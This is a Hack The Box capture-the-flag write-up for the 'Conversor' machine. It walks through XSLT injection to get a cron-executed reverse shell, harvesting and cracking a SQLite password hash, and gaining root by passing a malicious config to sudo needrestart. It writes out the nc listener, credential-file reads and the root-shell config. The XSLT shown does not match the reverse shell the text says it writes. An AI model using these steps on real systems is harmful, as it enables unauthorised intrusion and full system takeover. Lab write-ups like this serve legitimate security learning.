Conversor - Hack The Box

Easy Difficulty

Platform: Hack The Box

Challenge: Conversor

Vulnerabilities: XSLT Injection, Privilege Escalation via needrestart

Tools Used: Nmap, Python, SQLite, Crackstation

Overview

This writeup details the exploitation of a vulnerable web application featuring an XML/XSLT transformation service. The challenge involves initial reconnaissance, exploiting an XSLT injection vulnerability to gain initial access, credential harvesting from a SQLite database, and ultimately achieving root access through a misconfigured needrestart utility.

Key Learning Points: XSLT injection exploitation, analyzing Flask source code, cron job abuse, and privilege escalation through sudo misconfigurations.

Reconnaissance

1Port Scanning

Initial reconnaissance began with a comprehensive Nmap scan to identify all open ports on the target system.

nmap -sS -sV -p- <TARGET_IP> Results: PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap scan results

Screenshot: Nmap scan showing open ports 22 and 80

Only two ports were found open: SSH (22) and HTTP (80). This suggested the primary attack vector would be through the web application.

Web Application Analysis

2Application Discovery

After registering a user account on the target website, I discovered an interesting feature: an XML/XSLT transformation service that converts XML and XSLT files into a formatted output.

Web application interface

Screenshot: XML/XSLT converter application interface

Critical Finding: The application source code was available for download, revealing it was built with Flask (Python).
Source code discovery

Screenshot: Open-source Flask application code

3Source Code Review

Analyzing the downloaded source code revealed several important details:

The cron job discovery was particularly interesting—if we could upload a malicious Python file, it would be automatically executed with www-data privileges.

Cron job and user context

Screenshot: www-data user context and cron job configuration

Exploitation Phase

4XSLT Injection Attack

After reviewing XSLT injection payloads from PayloadsAllTheThings, I crafted an exploitation strategy.

XSLT Injection

Attack Steps:

Step 1: Create a legitimate XML file to pass initial validation:

<?xml version="1.0" encoding="UTF-8"?> <root> <data>Test Data</data> </root>
Legitimate XML file

Screenshot: Creating a legitimate XML file

Step 2: Craft a malicious XSLT file that exploits the lack of sanitization to write a Python reverse shell:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('exploit')"></xsl:value-of> </xsl:template> </xsl:stylesheet>
Malicious XSLT payload

Screenshot: Crafting malicious XSLT with Python reverse shell

Step 3: The uploaded Python reverse shell file gets automatically executed by the cron job, establishing a connection back to the attacker's listener.

nc -lvnp 4444 Connection received! www-data@bookstore:~$
Success: Initial access achieved as www-data user.

Post-Exploitation & Lateral Movement

5User Enumeration

With shell access established, I began enumerating the system to identify potential privilege escalation paths.

cat /etc/passwd # Identified user: fismathack

6Database Discovery

While exploring the file system, I discovered an SQLite database containing user credentials.

find / -name "*.db" 2>/dev/null sqlite3 database.db sqlite> SELECT * FROM users; # Found password hash for user 'fismathack'
Database discovery

Screenshot: Finding SQLite database with user credentials

7Password Cracking

The discovered hash was successfully cracked using Crackstation, revealing the user's password. This demonstrated a critical security flaw: password reuse across services.

Hash cracking

Screenshot: Successfully cracking the password hash with Crackstation

ssh fismathack@<TARGET_IP> Password: [REDACTED] fismathack@bookstore:~$ cat user.txt [FLAG_REDACTED]
SSH access and user flag

Screenshot: SSH login and capturing user.txt flag

User Flag Captured! Successfully authenticated via SSH and retrieved user.txt.

Privilege Escalation to Root

8Sudo Enumeration

Despite the room being labeled as "easy" difficulty, the privilege escalation proved challenging and required careful analysis.

sudo -l User fismathack may run the following commands: (root) NOPASSWD: /usr/sbin/needrestart
Sudo privileges

Screenshot: Checking sudo privileges - needrestart can be run as root

9needrestart Exploitation

The needrestart utility was identified as the privilege escalation vector. After two hours of research and testing, I discovered a critical vulnerability.

CVE: Arbitrary Configuration File Execution

Vulnerability Details:

The needrestart utility accepts a custom configuration file via the -c option. When run with sudo privileges, it parses and executes this configuration file as root without proper validation.

Exploitation Process:

Step 1: Create a malicious configuration file with an exec directive:

echo 'exec "/bin/sh","-p";' > /tmp/con.conf # The -p flag preserves privileges, preventing the shell from dropping to user level

Step 2: Execute needrestart with sudo, pointing to the malicious config:

sudo /usr/sbin/needrestart -c /tmp/con.conf # root@bookstore:~$

Step 3: Verify successful privilege escalation:

id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt [FLAG_REDACTED]
Root access achieved

Screenshot: Successful privilege escalation to root and capturing root.txt flag

Root Access Achieved! Successfully escalated privileges to root and captured the root flag.

What We Have Learned

Key Takeaways from Conversor Challenge

Final Thoughts: The Conversor challenge from Hack The Box provides excellent practice in web application exploitation, source code analysis, and Linux privilege escalation. The combination of XSLT injection and needrestart exploitation demonstrates that even "easy" rated challenges can contain complex and educational attack chains.
← Back to Knowledge Base